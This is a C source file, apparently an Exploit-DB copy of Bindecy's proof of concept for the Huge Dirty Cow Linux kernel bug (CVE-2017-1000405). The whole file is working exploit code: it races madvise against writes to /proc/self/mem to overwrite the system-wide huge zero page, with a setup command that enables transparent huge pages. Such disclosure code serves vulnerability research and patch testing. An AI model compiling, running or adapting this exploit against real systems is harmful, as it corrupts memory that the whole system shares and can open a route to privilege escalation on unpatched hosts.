// EDB Note: Source ~ https://medium.com/bindecy/huge-dirty-cow-cve-2017-1000405-110eca132de0
// EDB Note: Source ~ https://github.com/bindecy/HugeDirtyCowPOC
// Author Note: Before running, make sure to set transparent huge pages to "always": `echo always | sudo tee /sys/kernel/mm/transparent_hugepage/enabled`
//

//
// The Huge Dirty Cow POC. This program overwrites the system's huge zero page.
// Compile with "gcc -pthread main.c"
//
// November 2017
// Bindecy
//

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>    
#include <unistd.h> 
#include <sched.h>
#include <string.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/wait.h> 

#define MAP_BASE        ((void *)0x4000000)
#define MAP_SIZE        (0x200000)
#define MEMESET_VAL     (0x41)
#define PAGE_SIZE       (0x1000)
#define TRIES_PER_PAGE  (20000000)

struct thread_args {
    char *thp_map;
    char *thp_chk_map;
    off_t off;
    char *buf_to_write;
    int stop;
    int mem_fd1;
    int mem_fd2;
};

typedef void * (*pthread_proc)(void *);

void *unmap_and_read_thread(struct thread_args *args) {
    char c;
    int i;
    for (i = 0; i < TRIES_PER_PAGE && !args->stop; i++) {        
        madvise(args->thp_map, MAP_SIZE, MADV_DONTNEED); // Discard the temporary COW page.
        
        memcpy(&c, args->thp_map + args->off, sizeof(c));
        read(args->mem_fd2, &c, sizeof(c));
        
        lseek(args->mem_fd2, (off_t)(args->thp_map + args->off), SEEK_SET);
        usleep(10); // We placed the zero page and marked its PMD as dirty. 
                    // Give get_user_pages() another chance before madvise()-ing again.
    }
    
    return NULL;
}

void *write_thread(struct thread_args *args) {
    int i;
    for (i = 0; i < TRIES_PER_PAGE && !args->stop; i++) {
        lseek(args->mem_fd1, (off_t)(args->thp_map + args->off), SEEK_SET);
        madvise(args->thp_map, MAP_SIZE, MADV_DONTNEED); // Force follow_page_mask() to fail.
        write(args->mem_fd1, args->buf_to_write, PAGE_SIZE);
    }
    
    return NULL;
}

void *wait_for_success(struct thread_args *args) {
    while (args->thp_chk_map[args->off] != MEMESET_VAL) {
        madvise(args->thp_chk_map, MAP_SIZE, MADV_DONTNEED);
        sched_yield();
    }

    args->stop = 1;
    return NULL;
}

int main() {
    struct thread_args args;
    void *thp_chk_map_addr;
    int ret;

    // Mapping base should be a multiple of the THP size, so we can work with the whole huge page.
    args.thp_map = mmap(MAP_BASE, MAP_SIZE, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (args.thp_map == MAP_FAILED) {
        perror("[!] mmap()");
        return -1;
    }
    if (args.thp_map != MAP_BASE) {
        fprintf(stderr, "[!] Didn't get desired base address for the vulnerable mapping.\n");
        goto err_unmap1;
    }
    
    printf("[*] The beginning of the zero huge page: %lx\n", *(unsigned long *)args.thp_map);

    thp_chk_map_addr = (char *)MAP_BASE + (MAP_SIZE * 2); // MAP_SIZE * 2 to avoid merge
    args.thp_chk_map = mmap(thp_chk_map_addr, MAP_SIZE, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 
    if (args.thp_chk_map == MAP_FAILED) {
        perror("[!] mmap()");
        goto err_unmap1;
    }
    if (args.thp_chk_map != thp_chk_map_addr) {
        fprintf(stderr, "[!] Didn't get desired base address for the check mapping.\n");
        goto err_unmap2;
    }
    
    ret = madvise(args.thp_map, MAP_SIZE, MADV_HUGEPAGE); 
    ret |= madvise(args.thp_chk_map, MAP_SIZE, MADV_HUGEPAGE);
    if (ret) {
        perror("[!] madvise()");
        goto err_unmap2;
    }

    args.buf_to_write = malloc(PAGE_SIZE);
    if (!args.buf_to_write) {
        perror("[!] malloc()");
        goto err_unmap2;
    }
    memset(args.buf_to_write, MEMESET_VAL, PAGE_SIZE);
    
    args.mem_fd1 = open("/proc/self/mem", O_RDWR);
    if (args.mem_fd1 < 0) {
        perror("[!] open()");
        goto err_free;
    }
    
    args.mem_fd2 = open("/proc/self/mem", O_RDWR);
    if (args.mem_fd2 < 0) {
        perror("[!] open()");
        goto err_close1;
    }

    printf("[*] Racing. Gonna take a while...\n");
    args.off = 0;

    // Overwrite every single page
    while (args.off < MAP_SIZE) {   
        pthread_t threads[3]; 
        args.stop = 0;
        
        ret = pthread_create(&threads[0], NULL, (pthread_proc)wait_for_success, &args);
        ret |= pthread_create(&threads[1], NULL, (pthread_proc)unmap_and_read_thread, &args);
        ret |= pthread_create(&threads[2], NULL, (pthread_proc)write_thread, &args);
        
        if (ret) {
            perror("[!] pthread_create()");
            goto err_close2;
        }
        
        pthread_join(threads[0], NULL); // This call will return only after the overwriting is done
        pthread_join(threads[1], NULL);
        pthread_join(threads[2], NULL);

        args.off += PAGE_SIZE;    
        printf("[*] Done 0x%lx bytes\n", args.off);
    }
    
    printf("[*] Success!\n");
    
err_close2:
    close(args.mem_fd2);
err_close1:
    close(args.mem_fd1);
err_free:
    free(args.buf_to_write);
err_unmap2:
    munmap(args.thp_chk_map, MAP_SIZE);
err_unmap1:
    munmap(args.thp_map, MAP_SIZE);
    
    if (ret) {
        fprintf(stderr, "[!] Exploit failed.\n");
    }
    
    return ret;
}